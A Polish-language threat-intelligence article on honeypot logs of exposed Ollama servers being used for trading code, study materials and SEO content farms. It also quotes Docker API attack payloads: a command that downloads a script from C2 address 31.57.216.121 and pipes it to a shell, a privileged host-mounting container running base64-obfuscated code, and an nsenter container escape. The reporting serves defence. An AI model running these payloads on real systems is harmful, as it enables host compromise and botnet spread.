Powrót do strony głównej

Nadużycia Ollama: trading i farmy treści

Artykuł analizuje logi honeypotów otwartych instancji Ollama: rekonesans, health-check, eksploatacja do tradingu, edukacji i treści SEO. Opisano równoległe ataki na Docker i Kubelet z technikami escape. Podano IOC, MITRE ATT&CK i środki ochrony.

Ollama pod atakiem: boty kradną GPU do tradingu
Advertisement 728x90

Niewłaściwe wykorzystanie Ollama: od botów handlowych po farmy treści

Otwarte instancje Ollama są wykorzystywane do generowania kodu strategii handlowych, tworzenia materiałów edukacyjnych oraz masowego tekstu SEO. Honeypoty potwierdziły zapytania do popularnych modeli takich jak llama3.1:8b i qwen2.5:7b w Niemczech, USA i Rosji. Atakujący przeprowadzają rozpoznanie, sprawdzają działanie systemu i testują równolegle różne punkty końcowe API przed wykorzystaniem cudzego GPU.

Rozpoznanie i sprawdzanie dostępności

Skany zaczynają się od podstawowych zapytań potwierdzających działanie instancji. Typowe punkty końcowe to:

  • GET /api/tags — lista dostępnych modeli w API Ollama.
  • GET /v1/models — kompatybilna z OpenAI lista modeli.
  • GET /api/version — wersja serwera.

W jednej nodzie w USA za tydzień zarejestrowano 244 zapytania /v1/models i 58 do /api/tags. Jeden adres IP przeprowadzał sprawdzanie działania co 20 minut przez POST /v1/chat/completions z wiadomością {"messages": [{"role": "user", "content": "health-check"}]} — łącznie 244 powtórzeń.

Google AdInline article slot

Próba przejścia przez modele następuje według wzorca: wysyłanie prostego promptu Hello lub hi do modeli takich jak llama3.1:8b, qwen2.5:7b, codellama:13b, mistral:7b, deepseek:33b, llama3.2. Jeśli model odpowiada, instancja jest oznaczona jako przydatna.

Wykorzystanie: typy zadań

Po zakończeniu rozpoznania następują rzeczywiste zadania. Zarejestrowano trzy kategorie.

Boty handlowe

Automatyczny pipeline na nodzie w USA generuje kod strategii po sprawdzeniu działania:

Google AdInline article slot
{
  "messages": [{
    "role": "user",
    "content": "Write Python 3 code for:\ndef backtest_strategy(prices: list[float]) -> float:\nUse a 10-period fast SMA and 50-period slow SMA crossover on prices, long when fast > slow, flat/short when fast < slow, and return total PnL as a float. Output only that function, no extra text."
  }]
}

Prompt był powtarzany 12 razy na trzech modelach przez /api/chat, /v1/chat/completions, /v1/completions. To systematyczne szukanie darmowego backendu dla algorytmicznego handlu.

Przekaźniki dla klientów LLM

Sesja z użytkownikiem z Chin: klient GLM przesyłał historię rozmowy, w tym prompt systemowy i poprzednie odpowiedzi. Zapytanie o karty Anki z tematu "Przeciwieństwa Mao": zrobić zestaw Anki z 30 kart na temat teorii przeciwieństw Mao. Ostateczne testowanie: co to za model.

Farmy treści

Na nodzie w Rosji — szablonowe prompty do SEO:

Google AdInline article slot
Answer the following question thoroughly and in detail.

Question: How have neural networks and deep learning transformed AI?

RULES:
- Write a complete, detailed answer.
- Do NOT repeat the question.
- Do NOT add a preamble.
- Your LAST line must be exactly: ##ANSWER_DONE##

Answer:

Słowo kluczowe ##ANSWER_DONE## służy do parsowania wyników. Tematy: uczenie maszynowe, ewolucja AI. Wysyłanie równoległe do trzech modeli z analizą krok po kroku.

Równoległe ataki na infrastrukturę

Skany Ollama współgrały z atakami na Docker (port 2375) i Kubelet (10250).

Eksploity Docker

Botnet docker.selfrep (C2: 31.57.216.121) wykonuje:

{
  "Cmd": ["sh", "-c",
    "(wget --no-check-certificate -qO- https://31.57.216.121/sh || curl -sk https://31.57.216.121/sh) | sh -s docker.selfrep"]
}

Niebezpieczniejszy botnet (C2: 45.194.92.39) używa kontenerów z uprawnieniami privilegowymi:

{
  "Image": "alpine",
  "Cmd": ["sh", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"],
  "HostConfig": {
    "Binds": ["/:/host"],
    "Privileged": true
  }
}

Alternatywa — ucieczka przez nsenter:

{
  "Cmd": ["nsenter", "--target", "1",
    "--mount", "--uts", "--ipc", "--net", "--pid",
    "--", "bash", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"]
}

Rozpoznanie Kubelet

Zapytania /api/v1/pods, /healthz oraz specyficzne dla ML /update_weights_from_tensor wskazują na poszukiwanie pipeline'ów.

Co ważne

  • Otwarte instancje Ollama są integrowane do pipeline'ów handlowych, edukacyjnych i SEO bez uwierzytelniania.
  • Sprawdzanie działania i próby modeli (llama3.1, qwen2.5 itp.) to standard automatyzowanych skanerów.
  • Ataki Docker łączą ucieczkę z kontenera przez nsenter z montażem privileged i obfuskacją Base64.
  • Markery takie jak ##ANSWER_DONE## czy health-check pomagają wykrywać farmy treści.
  • Ochrona wymaga lokalnego bindowania, proxy odwrotnego i monitorowania ruchu.

— Editorial Team

Advertisement 728x90

Czytaj dalej